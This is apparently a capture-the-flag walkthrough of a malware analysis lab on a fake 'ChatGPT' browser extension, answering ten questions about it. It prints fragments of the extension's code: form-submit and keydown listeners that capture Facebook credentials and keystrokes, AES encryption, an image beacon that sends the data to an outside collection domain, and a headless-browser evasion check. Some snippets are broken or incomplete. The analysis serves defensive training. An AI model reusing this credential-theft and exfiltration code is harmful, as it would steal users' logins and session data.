

Malware Analysis

FakeGPT Lab Walkthrough

Your cybersecurity team has been alerted to suspicious activity on your organization's network. Several employees reported unusual behavior in their browsers after installing what they believed to be a helpful browser extension named "ChatGPT". However, strange things started happening: accounts were being compromised, and sensitive information appeared to be leaking.

Your task is to perform a thorough analysis of this extension identify its malicious components.

Q1. Which encoding method does the browser extension use to obscure target URLs, making them more difficult to detect during analysis?

```
PS C:\Users\analyst\Desktop\temp_extract_dir\Lab > strings .\app.js

Strings v2.54 - Search for ANSI and Unicode strings in binary images.
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(function() {
  var _0xabc1 = function(_0x321a) {
    return _0x321a;
  };
  var _0x5eaf = function(_0x5fa1) {
    return btoa(_0x5fa1);
  };
  const targets = [_0xabc1, 'd3d3LmZhY2Vib29rLmNvbQ=='];
  if (targets.indexOf(window.location.hostname) !== -1) {
    document.addEventListener('submit', function(event) {
```

First we string the app.js , then we read the codes showing the target is same as a something encoded which is a base64

Q2. Which website does the extension monitor for data theft, targeting user accounts to steal sensitive information?



//when decoded the string in cyberchef, the website is

www.facebook.com

Q3. Which type of HTML element is utilized by the extension to send stolen data?

```
function sendToServer(encryptedData) {  
    var img = new Image();  
    img.src = 'https://Mo.Elshaheedy.com/collect';  
    document.body.appendChild(img);  
}
```

//this function show exfiltrate data behaviour, the html element that is utilized for this is

Q4. What is the first specific condition in the code that triggers the extension to deactivate itself?

```
PS C:\Users\analyst\Desktop\temp_extract_dir\Lab > strings .\loader.js  
  
Strings v2.54 - Search for ANSI and Unicode strings in binary images.  
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Sysinternals - www.sysinternals.com  
  
(function() {  
    var _0xabc1 = function(_0x321a) {  
        return _0x321a;  
    };  
    // Check if the browser is in a virtual environment  
    if (navigator.plugins.length === 0 || /HeadlessChrome/.test(navigator.userAgent)) {  
        alert("Virtual environment detected. Extension will disable itself.");  
    }  
})
```

Read the code of loader.js and see there is a function if a virtual environment is detected, the extension will disable itself. And the red box is the first condition.

`navigator.plugins.length === 0`

Q5. Which event does the extension capture to track user input submitted through forms?

```
if (targets.indexOf(window.location.hostname) !== -1) {  
    document.addEventListener('submit', function(event) {  
        let form = event.target;  
        let formData = new FormData(form);  
        let username = formData.get('username') || formData.get('email');  
        let password = formData.get('password');  
        if (username && password) {  
            exfiltrateCredentials(username, password);  
        }  
    });  
    document.addEventListener('keydown', function(event) {  
        var key = event.key;  
        exfiltrateData('keystroke', key);  
    });  
}
```

This data submit capture the user input, meaning **submit** is the event capture

Q6. Which API or method does the extension use to capture and monitor user keystrokes?

```
if (targets.indexOf(window.location.hostname) !== -1) {  
    document.addEventListener('submit', function(event) {  
        let form = event.target;  
        let formData = new FormData(form);  
        let username = formData.get('username') || formData.get('email');  
        let password = formData.get('password');  
        if (username && password) {  
            exfiltrateCredentials(username, password);  
        }  
    });  
    document.addEventListener('keydown', function(event) {  
        var key = event.key;  
        exfiltrateData('keystroke', key);  
    });  
}
```

Keydown is the method the extension uses to capture user keystrokes.

Q7. What is the domain where the extension transmits the exfiltrated data?

```
function sendToServer(encryptedData) {  
    var img = new Image();  
    img.src = 'https://Mo.Elshaheedy.com/collect?data=' +  
    document.body.appendChild(img);  
}
```

This is the domain where the stolen data is sent to : Mo.Elshaheedy.com

Q8. Which function in the code is used to exfiltrate user credentials, including the username and password?

```
if (username && password) {  
    exfiltrateCredentials(username, password);  
}  
);  
document.addEventListener('keydown', function(event) {
```

This is the function code that is used to exfiltrate user credentials
exfiltrateCredentials(username, password);

Q9. Which encryption algorithm is applied to secure the data before sending?

```
var key = CryptoJS.AES.encrypt(data, key).toString();
```

The algorithm applied is AES

Q10. What does the extension access to store or manipulate session-related data and authentication information?

```
webRequest.onBeforeRequest.addListener(  
    function(request) {  
        return {  
            cookies: {  
                //strings manifest.json, cookies is the one to manipulate session-related  
                data:  
            }  
        };  
    },  
    {  
        urls: ["*://*/*"]  
    },  
    ["cookies"]  
);
```

data.